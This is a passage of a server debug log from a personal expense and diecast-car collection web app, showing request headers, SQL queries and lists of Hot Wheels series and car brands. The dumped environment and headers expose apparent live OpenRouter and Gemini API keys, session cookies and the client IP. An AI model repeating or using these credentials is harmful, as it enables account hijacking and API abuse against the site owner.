    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:08:52.150Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T07:08:52.150Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:08:52.150Z server-connect:app Executing action step identify
2026-02-04T07:08:52.150Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:52.150Z server-connect:output identity: 1
2026-02-04T07:08:52.150Z server-connect:app Executing action step restrict
2026-02-04T07:08:52.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:52.151Z server-connect:app Executing action step identify
2026-02-04T07:08:52.151Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:52.151Z server-connect:output identity: 1
2026-02-04T07:08:52.151Z server-connect:app Executing action step restrict
2026-02-04T07:08:52.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:52.152Z server-connect:output restrict: undefined
2026-02-04T07:08:52.152Z server-connect:app Executing action step select
2026-02-04T07:08:52.152Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T07:08:52.153Z server-connect:output restrict: undefined
2026-02-04T07:08:52.153Z server-connect:app Executing action step paged
2026-02-04T07:08:52.153Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:08:52.154Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T07:08:52.155Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 189,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:08:53.654Z server-connect:router Serving templateView /diecast
2026-02-04T07:08:53.654Z server-connect:app Executing action step identify
2026-02-04T07:08:53.654Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:53.654Z server-connect:output identity: 1
2026-02-04T07:08:53.654Z server-connect:app Executing action step restrict
2026-02-04T07:08:53.654Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:08:53.655Z server-connect:output restrict: undefined
2026-02-04T07:08:53.655Z server-connect:router Render template diecast
2026-02-04T07:08:53.655Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:08:53.990Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:08:53.991Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:08:53.992Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:08:53.993Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:08:53.993Z server-connect:app Executing action step identify
2026-02-04T07:08:53.993Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:53.993Z server-connect:output identity: 1
2026-02-04T07:08:53.993Z server-connect:app Executing action step restrict
2026-02-04T07:08:53.993Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:53.993Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:08:53.993Z server-connect:output restrict: undefined
2026-02-04T07:08:53.994Z server-connect:app Executing action step select
2026-02-04T07:08:53.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:08:53.994Z server-connect:app Executing action step identify
2026-02-04T07:08:53.994Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:53.994Z server-connect:output identity: 1
2026-02-04T07:08:53.994Z server-connect:app Executing action step restrict
2026-02-04T07:08:53.994Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:53.994Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:08:53.995Z server-connect:app Executing action step identify
2026-02-04T07:08:53.995Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:53.995Z server-connect:output identity: 1
2026-02-04T07:08:53.995Z server-connect:app Executing action step restrict
2026-02-04T07:08:53.995Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:53.996Z server-connect:app Executing action step identify
2026-02-04T07:08:53.996Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:53.996Z server-connect:output identity: 1
2026-02-04T07:08:53.996Z server-connect:app Executing action step restrict
2026-02-04T07:08:53.996Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:53.996Z server-connect:output restrict: undefined
2026-02-04T07:08:53.996Z server-connect:app Executing action step select
2026-02-04T07:08:53.996Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:08:53.997Z server-connect:output restrict: undefined
2026-02-04T07:08:53.997Z server-connect:app Executing action step paged
2026-02-04T07:08:53.997Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:08:53.997Z server-connect:app Executing action step identify
2026-02-04T07:08:53.997Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:53.997Z server-connect:output identity: 1
2026-02-04T07:08:53.997Z server-connect:app Executing action step restrict
2026-02-04T07:08:53.998Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:53.999Z server-connect:output restrict: undefined
2026-02-04T07:08:53.999Z server-connect:app Executing action step select
2026-02-04T07:08:53.999Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:08:54.000Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T07:08:54.001Z server-connect:output restrict: undefined
2026-02-04T07:08:54.001Z server-connect:app Executing action step select
2026-02-04T07:08:54.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:08:54.003Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:08:54.004Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:08:54.004Z server-connect:app Executing action step select
2026-02-04T07:08:54.004Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:08:54.005Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
